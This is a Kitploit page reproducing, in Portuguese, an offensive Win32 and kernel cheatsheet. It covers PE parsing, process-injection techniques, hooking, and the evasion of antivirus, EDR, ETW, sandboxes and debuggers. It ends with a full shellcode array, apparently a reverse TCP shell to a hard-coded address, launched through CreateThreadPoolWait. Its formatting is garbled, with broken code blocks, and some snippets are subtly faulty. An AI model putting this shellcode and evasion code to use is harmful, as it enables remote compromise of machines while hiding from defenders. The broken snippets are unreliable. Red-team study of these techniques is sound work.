Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Win32_Offensive_Cheatsheet — Win32 and Kernel abusing techniques for pentesters | Kitploit
Ferramentas/GitHubGitHub/matthieu-hackwitharts/win32_offensive_cheatsheet
Persistence MechanismsExploitationIDS/IPS EvasionReverse EngineeringPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed Teaming

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Curated Resources
Payload Development
GitHubmatthieu-hackwitharts/win32_offensive_cheatsheet

Win32_Offensive_Cheatsheet

Win32 and Kernel abusing techniques for pentesters

Ver Repositório
981136há 2 anosRevisado pelo Kitploit
root@kitploit:~
# Cheatsheet Ofensivo do Win32

Técnicas de abuso do Win32 e do Kernel para pentesters e red-teamers feitas por [@UVision](https://github.com/matthieu-hackwitharts) e [@RistBS](https://twitter.com/RistBs)

**Modo desenvolvedor ativado, aberto a qualquer ajuda :)**

- [Documentação de Binários do Windows](#windows-binary-documentation)
  - [Estrutura do PE](#pe-headers)
   - [Cabeçalhos do PE ](#pe-headers)
   - [Análise do PE ](#parsing-pe)
   	- [Tabela de Endereços de Exportação (EAT) ](#export-address-table-eat)
  	- [Resolver endereço de função ](#resolve-function-address)
   - [Tabela de Endereços de Importação (IAT) ](#import-address-table-iat)
     - [Análise da IAT ](#parsing-iat)
   - [Tabela de Consulta de Importação (ILT) ](#import-lookup-table)
   - [Habilitar privilégio SeDebug](#enable-sedebug-privilege)
- [Executar algum binário](#execute-some-binary)
  - [Execução clássica de shellcode](#classic-shellcode-execution)
  - [Execução de DLL ](#dll-execute)
  - [Arquivo RAW para PE](#raw-file-to-pe)
- [Técnicas de injeção de código](#code-injection-techniques)
  - [Injeção CreateRemoteThread](#createremotethread-injection)
  - [Process Hollowing](#process-hollowing)
  - [Técnica de Fila APC](#apc-queue-technique)
  - [Early Bird](#early-bird)
  - [Injeção Reflexiva de DLL](#reflective-dll-injection)
  - [Injeção de DLL](#dll-injection)
  - [Process Doppelganging](#process-doppelganging)
  - [Fibras](#fibers)
  - [CreateThreadPoolWait](#createthreadpoolwait)
  - [Sequestro de Thread](#thread-hijacking)
  - [Injeção de código MapView](#mapview-code-injection)
  - [Module Stomping](#module-stomping)
  - [Function Stomping](#function-stomping)
- [Técnicas de hooking](#hooking-techniques)
  - [Hooking inline](#inline-hooking)
  - [Hooking de IAT](#iat-hooking)
- [Técnicas de bypass de RE](#re-bypass-techniques)
  - [Ofuscação de chamadas e strings](#call-and-strings-obfuscation)
  - [Resolução manual de funções](#manual-function-resolve) 
  - [Hashing de API do Win32](#win32-api-hashing)
- [Bypass de EDR/Endpoint](#edrendpoint-bypass)
  - [Syscall direto ](#direct-syscall)
  - [Linguagens de alto nível ](#high-level-languages)
  - [Patch de hooking inline](#patch-inline-hooking)
  - [Detectar hooks](#detect-hooks)
  - [Patch de ETW](#patch-etw)
  - [Bypass de sandbox](#sandbox-bypass)
  - [Bypass de depuração](#debugging-bypass)
  - [Técnica de VirtualProtect](#virtualprotect-technique)
  - [Unhook com cópia nova](#fresh-copy-unhook)
  - [Hell's Gate](#hells-gate)
  - [Heaven's Gate](#heavens-gate)
  - [Spoofing de PPID](#ppid-spoofing)
  - [Callback de instrumentação de processo](#process-instrumentation-callback)
  - [Criptografia de heap](#heap-encryption)
  - [Ofuscação de sleep](#sleep-obfuscation)
- [Fundamentos de programação de drivers](#driver-programming-basics)
  - [Conceitos gerais](#general-concepts)
  - [Tabela de Dispatch de Serviços do Sistema (SSDT)](#system-service-dispatch-table-ssdt)
  - [Entrada do driver](#driver-entry)
  - [Entrada Saída)](#input-output)
  - [Comunicação com o driver](#communicate-with-the-driver)
  - [Assinatura de driver (Microsoft)](#driver-signing)
  - [Callbacks personalizados (ObRegisterCallbacks)](#custom-callbacks)
- [Programação Ofensiva de Drivers](#offensive-driver-programming)
  - [Patch de callback do kernel](#patch-kernel-callback)
  - [Patch de processo protegido](#patch-protected-process)
- [Usando a API Win32 para aumentar OPSEC](#using-win32-api-to-increase-opsec)
  - [Persistência](#persistence)
    - [Tarefas agendadas](#scheduled-tasks)
  - [Spoofing de linha de comando](#command-line-spoofing)
- [Diversos](#misc-stuff)
  - [Convenção de chamada x64](#x64-calling-convention)
  - [Execução indireta](#indirect-execution)
    - [Bypass de CFG com SetProcessValidCallTargets](#cfg-bypass-with-setprocessvalidcalltargets)

<br>

- [Técnicas de malware/sofisticadas](#malwaresophisticated-techniques)
  - [Caso do Emotet: PPID Spoofing usando WMI](#emotet-ppid-spoofing)
  - [Técnica de arquivos ocultos do malware Zeus](#zeus-malware-hidden-files)
  - [Técnica de hooking do keyloger SpyEye](#spyeye-keyloger-hooking-technique)
  - [Parada de malware mais ridícula (WannaCry)](#wannacry-killswitch)

<br>

# Documentação de Binários do Windows

## Ferramentas úteis e Sites/Livros/Cheatsheet

- 🔹 https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/ (Cheatsheet muito bom)
- 🔹 https://www.ired.team/ (Cheatsheet incrível de red team com ótimas notas sobre injeção de código)
- 🔹 https://undocumented.ntinternals.net/ (Funções NT não documentadas)
- 🔹 https://docs.microsoft.com/en-us/windows/win32/api/ (Documentação oficial da Microsoft)
- 🔹 [Windows Kernel Programming - Pavel Yosifovich](https://www.amazon.fr/Windows-Kernel-Programming-Pavel-Yosifovich/dp/1977593372)
- 🔹 https://research.checkpoint.com/ (Documentos muito interessantes sobre evasão, anti-debug e muito mais)
- 🔹 https://www.vx-underground.org/ (Conteúdo incrível sobre desenvolvimento de malware e engenharia reversa)

## Estrutura do PE

### Cabeçalhos do PE

- `DOS_HEADER` : Primeiro cabeçalho do PE, contém a mensagem do MS DOS ("This programm cannot be run in DOS mode...."), o Cabeçalho MZ (bytes mágicos para identificar o PE) e algum conteúdo de stub.
- `IMAGE_NT_HEADER` : Contém a assinatura do arquivo PE, o Cabeçalho do Arquivo e o Cabeçalho Opcional
- `SECTION_TABLE` : Contém os cabeçalhos das seções
- `SECTIONS` : Não é um cabeçalho, mas é útil saber: estas são as seções do PE

> Detalhes : https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266


### Análise do PE

**Análise simples do PE para obter o endereço absoluto da IAT e da ILT:**

- **Obter endereço base** : `GetModuleHandleA(NULL);`
- **PIMAGE_DOS_HEADER** = endereço base, cabeçalho DOS
- **PIMAGE_NT_HEADER** = `BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew` (RVA do NT_HEADER)
- **IMAGE_DATA_DIRECTORY** = `OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]` de PIMAGE_NT_HEADER
- **IMAGE_IMPORT_DIRECTORY** = `IMAGE_DATA_DIRECTORY.VirtualAddress` (RVA de IMAGE_IMPORT_DIRECTORY)
- **IMAGE_IMPORT_DESCRIPTOR** = `BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress` (RVA de IMAGE_IMPORT_DESCRIPTOR)
- **Endereço absoluto da IAT** : IMAGE_IMPORT_DESCRIPTOR.FirstThunk (RVA da IAT) + BaseAddress
- **Endereço absoluto da ILT** : IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk (RVA da ILT) + BaseAddress


### Tabela de Endereços de Exportação (EAT)

A EAT resolve todas as funções que são exportadas pelo PE e também resolve DLLs. Ela é definida na estrutura IMAGE_EXPORT_DIRECTORY:
``````c   
typedef struct _IMAGE_EXPORT_DIRECTORY {
		DWORD Characteristics;
		DWORD TimeDateStamp;
		WORD  MajorVersion;
		WORD  MinorVersion;
		DWORD Name;   // name of DLL
		DWORD Base;   // first ordinal number
		DWORD NumberOfFunctions; // number of entries in EAT
		DWORD NumberOfNames; // number of entries in (1) (2)
		DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
		DWORD AddressOfNames;   // Pointer array contains address of function names
		DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;   

Observe que a EAT é definida em uma DLL, não em um PE "real" (um PE usará a EAT de uma DLL carregada para resolver ponteiros para funções que deseja usar).

Resolver endereço de função

Usando endereço de função

O que você está esperando? Encontre esta função!

Usando número ordinal

Um número ordinal é uma posição de índice para o endereço de função correspondente no array AddressOfFunctions. Ele pode ser usado para recuperar o endereço correto da função, como abaixo:

Vamos tentar encontrar o endereço correspondente (Addr4) com o número ordinal 3.

  • AddressOfFunctions : Addr1 Addr2 Addr3 Addr4 .... AddrN
  • AdressOfNameOrdinals : 2 5 7 3 ... N

O endereço que procuramos está na 3ª posição (a partir de 0), e nosso número ordinal corresponde ao índice deste endereço.

Usando nome da função

O enésimo elemento no array AddressOfNames corresponde ao enésimo elemento no array AddressOfNameOrdinals: usando um nome fornecido, você pode recuperar o número ordinal correspondente e prosseguir para encontrar o endereço da função usando esse número.

Tabela de Endereços de Importação (IAT)

  • O carregador de PE não sabe qual endereço corresponde a qual função: vamos chamar a IAT para nos salvar
  • Definido na struct IMAGE_IMPORT_DIRECTORY:```c typedef struct _IMAGE_IMPORT_DESCRIPTOR { DWORD Characteristics; DWORD OriginalFirstThunk; // RVA to ILT DWORD TimeDateStamp; DWORD ForwarderChain; DWORD Name; // RVA of imported DLL name DWORD FirstThunk; // RVA to IAT } IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
root@kitploit:~
Em resumo, a IAT é uma tabela que contém ponteiros para várias funções importadas pelo PE de DLLs carregadas (ntdll, kernel32...).

## Analisando a IAT

1) Obter o RVA da IAT
2) Analisar a estrutura IMPORT_DESCRIPTOR: o membro Name é o RVA do nome da DLL atual
3) Para obter o nome real da DLL: encontre-o no ILT (originalFirstThunk+BaseAddress)
4) Para obter as funções exportadas da DLL atual: PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

> Exemplo de código detalhado aqui: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp

## Tabela de Lookup de Importação

Cada DLL importada pelo PE possui seu próprio ILT.```
Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

Contém todos os nomes de funções que estão na DLL importada.


Habilitar o Privilégio SeDebug

O privilégio SeDebug é o priv "mais desejado" em toda a lista de privilégios do Windows. Ele permite que você "depure" qualquer processo autorizado, o que pode ser traduzido em várias ações ofensivas, como abrir um handle com privilégios PROCESS_ALL_ACCESS.

Para habilitá-lo no modo de usuário, você precisará usar uma função como :```cpp void EnableDebugPriv() { HANDLE hToken; LUID luid; TOKEN_PRIVILEGES tkp;

root@kitploit:~
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

CloseHandle(hToken); 

}

root@kitploit:~
Esta função abrirá o token do seu processo atual e o ajustará para o privilégio **SE_PRIVILEGE_ENABLED**, que corresponde ao privilégio alvo.

# Executar algum binário

## Execução clássica de shellcode

> Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp

## Execução de DLL

Esta técnica teve boas taxas de bypass bem-sucedidas há alguns anos; no entanto, devido ao número crescente de EDRs e outras soluções de endpoint, a escrita em disco deve, tanto quanto possível, ser evitada.

> Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp

## Arquivo bruto para PE

Você pode executar um arquivo binário bruto na memória alocando o espaço do seu tamanho em uma  região de memória :```cpp
HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL);
SIZE_T size = GetFileSize(binfile,NULL);
LPVOID buffer=NULL;
ReadFile(binfile,buffer,size,NULL,NULL);
HANDLE hProc = GetCurrentProcess();

CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
CloseHandle(hProc);

Técnicas de injeção de código

Injeção CreateRemoteThread

Simplesmente escreva seu shellcode no espaço de memória previamente alocado dentro do processo alvo. (Não é OPSEC)

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp

Process Hollowing

O Process Hollowing é feito em várias etapas :

  • Crie o processo alvo (o "oco") em modo suspenso : é necessário para modificá-lo
  • Remova o mapeamento do processo alvo de seu PEB (Você deve declarar essa estrutura primeiro)
  • Escreva o conteúdo do novo exe neste processo : cabeçalhos + conteúdo
  • Analise e aplique a tabela de realocação
  • Deixe o processo continuar executando em sua thread
  • Aproveite

O POC completo pode ser encontrado aqui : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations

Técnica de Fila APC

Injete seu shellcode em todas as threads disponíveis em um processo e, em seguida, use a função QueueUserAPC() para enfileirar uma chamada APC. Essa técnica pode não ser confiável quando não há muitas threads no processo comprometido.

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp

Early Bird

Semelhante à injeção via fila de APC, aqui a chamada APC deve ser definida em um processo suspenso. A thread principal do processo criado é então retomada; a principal vantagem dessa técnica é que evitar escrever o shellcode em um processo em execução torna a detecção por AVs/EDRs menos provável.

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp

Injeção Refletiva de DLL

Assim como na injeção "estática" de DLL (usando o arquivo DLL), você pode injetar sua própria DLL na maioria dos processos refletindo-a na memória. Isso tem a vantagem de contornar facilmente alguns produtos de AV/EDRs, apesar de ser uma técnica bastante flagrada hoje em dia.

Você deve primeiro alocar memória e fazer algum trabalho de realocação para que funcione.

O POC bem conhecido sobre essa técnica foi publicado por stephenfewer : https://github.com/stephenfewer/ReflectiveDLLInjection

Injeção de DLL

Você pode injetar algum código armazenado em uma DLL em um processo remoto. Infelizmente, os produtos de EDRs provavelmente o detectarão facilmente, especialmente se a DLL maliciosa tocar o disco.

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp

Process Doppelganging

O Process Doppelganging foi, até alguns anos atrás, um método não detectado de lançar seu próprio payload de uma maneira complicada. Ele foi demonstrado na BlackHat 2017 por Tal Liberman e Eugene Kogan, veja o incrível trabalho deles : https://www.youtube.com/watch?v=Cch8dvp836w

É um passo "intermediário" antes da técnica de process hollowing : a imagem PE é de fato sobrescrita antes de ser executada, então o WindowsLoader faz o Process Hollowing por nós (muito legal, certo ?).

Hasherezade fez alguns POCs legais dessa técnica, disponíveis aqui : https://github.com/hasherezade/process_doppelganging

Fibers

Fibers podem ser definidas como cooperatively threads (https://nullprogram.com/blog/2019/03/28/). Isso permite que o programa principal execute o shellcode por meio desse novo tipo de thread.

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp

Injeção de código MapView

Essa técnica permite que você compartilhe uma visão de uma seção de memória do seu processo malicioso com outro processo remoto, que executará o seu shellcode armazenado nessa visão. Isso pode ser feito usando NtCreateSection/NtMapViewOfSection, evitando que você use procedimentos fortemente monitorados como WriteProcessMemory() ou VirtualAlloc() (no entanto, NtMapViewOfSection também pode ser monitorado).

Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp

Module Stomping

Essa técnica faz com que seu beacon seja respaldado por um módulo no disco```c CHAR moduleName[] = "windows.storage.dll\x00"; HMODULE hVictimLib = LoadLibraryA(moduleName);

DWORD_PTR RXSection = (DWORD_PTR)hVictimLib; RXSection += 0x1000 * 0x2; RXSection += 0xc; char* ptr = ( char* )RXSection;

root@kitploit:~
> para detectar module stomping (especialmente para Cobalt Strike), um scanner foi lançado chamado [DetectCobaltStomp](https://github.com/slaeryan/DetectCobaltStomp) para destacar alguns IoCs da técnica, mas o [autor](https://twitter.com/NinjaParanoid) do [Brute Ratel](https://bruteratel.com/) conseguiu [melhorar](https://www.youtube.com/watch?v=nPmcFKSHyvg&ab_channel=ChetanNayak) a técnica original.

## Function Stomping

Simplesmente substitua o endereço da função original (obtido com GetProcAddress) pelo novo. Esta técnica é bem detalhada pelo seu autor: https://idov31.github.io/2022-01-28-function-stomping/

<br>

# Técnicas de hooking

## Inline hooking

Inline hooking é a forma mais básica de fazer hook de uma função: consiste simplesmente em redirecionar a chamada da API para a sua própria função (jump)

> Exemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

## IAT hooking

Ao modificar o endereço correspondente da função para um ponteiro para sua própria função, você pode fazer o programa executar seu próprio código.

Isso pode ser feito seguindo vários passos:

- Encontre o endereço relativo da IAT
- Faça o parse da IAT para encontrar a função que você quer hookar
- Substitua esse endereço de função ("patch") pelo endereço da sua função
- Aproveite

> Exemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp

<br>

# Técnicas de bypass de RE

## Ofuscação de chamadas e strings

Existem várias técnicas que você pode usar para esconder suas chamadas para a api win32, aqui estão algumas delas:

- Use array `char[]` para dividir seus nomes de função/dll em múltiplos caracteres```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte

Você pode até combinar esse truque com alguma conversão de código de caractere ASCII.

Resolução manual de função

Você pode resolver manualmente um ponteiro para qualquer função de kernel32, ntdll e assim por diante.

  • Primeiro declare o template da sua função, com base no cabeçalho real da função :```cpp typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
root@kitploit:~
- Em seguida, resolva um ponteiro para a função :```cpp
myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess"));
op_proc(PROCESS_ALL_ACCESS,NULL,12345);

Não hesite em combinar essa técnica com alguma ofuscação de strings para evitar passar o nome real da função em texto puro.

Hashing de API do Win32

Você pode ocultar suas chamadas de função da API fazendo hash delas com algum algoritmo de hash (djb2 é o mais usado); cuidado com colisões de hash que são possíveis com algumas funções especiais. Em seguida, combine essa técnica com a resolução direta de endereços na EAT, e faça os reversers chorarem :)


Bypass de EDR/Endpoint

Syscall Direta

A maioria dos produtos EDR faz hook de chamadas de API Win32 no modo de usuário (o PatchGuard diminui fortemente a disponibilidade de hooks no kernel). Para evitar esses hooks, você pode chamar diretamente os equivalentes Nt() das suas funções de API.

-```asm .code SysNtCreateFile proc mov r10, rcx //syscall convention mov eax, 55h //syscall number : in this case it's NtCreateFile syscall //call nt function ret SysNtCreateFile endp end

root@kitploit:~
> Encontre o número correto de syscall nesta tabela : https://j00ru.vexillium.org/syscalls/nt/64/


- Construa o protótipo da função usando `NTSTATUS````cpp
EXTERN_C NTSTATUS SysNtCreateFile(
	PHANDLE FileHandle, 
	ACCESS_MASK DesiredAccess, 
	POBJECT_ATTRIBUTES ObjectAttributes, 
	PIO_STATUS_BLOCK IoStatusBlock, 
	PLARGE_INTEGER AllocationSize, 
	ULONG FileAttributes, 
	ULONG ShareAccess, 
	ULONG CreateDisposition, 
	ULONG CreateOptions, 
	PVOID EaBuffer, 
	ULONG EaLength);
  • Resolva o endereço NT```cpp FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
root@kitploit:~
> Exemplo de código : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp

## Linguagens de Alto Nível

C++/C são frequentemente mais sinalizados por produtos AV/EDR do que linguagens de alto nível equivalentes: use Go, Rust ou outra linguagem para criar seus melhores templates,

## Aplicar Patch em Inline Hooking

Simplesmente (re)aplique hook nas suas funções hookadas aplicando a chamada de função correta: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

## Detectar hooks

Para detectar hooks, primeiro você obterá o endereço base da NTDLL com `LoadLibrary`, então você analisará os cabeçalhos PE para localizar a EAT (IMAGE_EXPORT_DIRECTORY) e seus offsets, que conterão todas as informações importantes (funções exportadas + nome). Basta resolver nomes e endereços de funções enquanto itera pelas funções exportadas e aplicar as seguintes instruções `if` para classificar funções

- classificar funções para obter somente funções Nt ou Zw```c
if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }

⚠️ : algumas funções são falsos positivos, recomendo que você as detecte :```c if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 || strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 || strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 || strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 || strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 || strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 || strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }

root@kitploit:~
- para a última declaração `if`, verifique se os primeiros 4 bytes de `functionName` são iguais a `mov r10, rcx; mov eax, ##`, que é o início do stub de syscall.```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }

Exemplo de código: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c

Patch no ETW

O Event Tracing for Windows (ETW) é uma API de log de baixo nível que pode ser usada para depuração/registro de processos do kernel e do modo de usuário. Ela foi implementada pela primeira vez no Windows 2000, mas o monitoramento em tempo real está realmente disponível desde o Windows XP.

A API ETW está disponível nos arquivos de cabeçalho fornecidos pela Microsoft : https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/

Em uma operação de pentest, você deve se preocupar com essa funcionalidade aplicando patch nela : a maneira mais usada é escrever opcodes ret arbitrários na função de escrita de eventos do ETW (EtwEventWrite) para evitar que logs sejam gravados em algum lugar.

Exemplo de código : //

Bypass de Sandbox

Sandboxes são bastante usadas por AVs/EDRs para testar algumas chamadas de API e outras partes do código antes de realmente executar seu programa. Existem várias técnicas para evitar essa ferramenta, aqui estão algumas delas abaixo :

  • Espere. Sério. Funções como Sleep() ou time.sleep() ou equivalentes farão o trabalho, por alguns segundos antes de executar o shellcode real.
  • Tente alocar muita memória (malloc), como 100000000 bytes.
  • Tente detectar se você está realmente em um ambiente de sandbox (VM) : teste processos abertos, arquivos e outras coisas suspeitas.
  • Tente resolver uma URL falsa (que não funciona) : muitos produtos de AV responderão com uma página falsa.
  • Use chamadas de API estranhas e raramente usadas, como VirtualAllocExNuma(), a maioria das sandboxes não consegue emular esse tipo de chamada.```cpp IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
root@kitploit:~
## Bypass de Depuração

Não é uma técnica real de evasão de AV, mas ainda é útil para evitar ser revertido com demasiada facilidade por engenheiros de RE. Existem muitas maneiras de detetar ou enlouquecer depuradores, mas aqui estão algumas delas abaixo : 

**Maneira das flags**

Pode usar ```IsDebuggerPresent()``` (Win32) ou chamada direta ```NtQueryInformationProcess()``` (não muito documentada) para verificar se há flags de depuração.


**Maneira dos handles**

Tente fechar handles inválidos (inexistentes) com a API CloseHandle(). O depurador tentará capturar a exceção, o que pode ser facilmente detetado :```cpp
bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle
{
    __try
    {
        CloseHandle((HANDLE)0xDEADBEEF);
        return false;
    }
    __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode()
                ? EXCEPTION_EXECUTE_HANDLER 
                : EXCEPTION_CONTINUE_SEARCH)
    {
        return true;
    }
}

Método ASM

Tente fazer uma chamada INT 3 (ASM) : é o equivalente a um breakpoint de software, que acionará um depurador. Existem muitas outras formas de detectar qualquer depurador, muitas delas estão compiladas em : https://anti-debug.checkpoint.com/

Técnica VirtualProtect

Ao usar alguns truques com VirtualProtect() você pode facilmente evitar ser sinalizado em memória : alterne entre PAGE_EXECUTE_READWRITE e PAGE_READWRITE (menos suspeito) para evitar acionar seu AV favorito.

Fresh Copy Unhook

Evite hooks substituindo a ntdll "hookada" por uma nova, mapeada diretamente do disco.

Exemplo de código : // a adicionar

Hells Gate

Para evitar usar syscalls hardcoded, o Hell's Gate (Hells Gates ?) os recupera dinamicamente analisando a EAT (comparar bytes da memória com opcodes de syscall). O Poc original foi feito pela grande equipe VX-Underground, e pode ser encontrado aqui : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z

Outro exemplo : https://github.com/am0nsec/HellsGate

Heavens Gate

Use Wow64 para injetar um payload de 64 bits em um loader de 32 bits. Pode ser útil para contornar alguns AVs/EDRs, pois o Wow64 evita que você seja capturado no userland.

A versão mais conhecida dessa técnica foi criada pela equipe do MSF; veja o incrível trabalho deles aqui : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm

CreateThreadPoolWait

Ao abusar de CreateThreadPoolWait(), que pode aceitar um ponteiro para uma função de callback, você pode executar seu shellcode por meio desse proc. Muitas técnicas semelhantes (usando um ponteiro de função de callback) estão disponíveis em : http://ropgadget.com/posts/abusing_win_functions.html

Exemplo :```cpp //code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

#include <windows.h> #include <threadpoolapiset.h>

unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

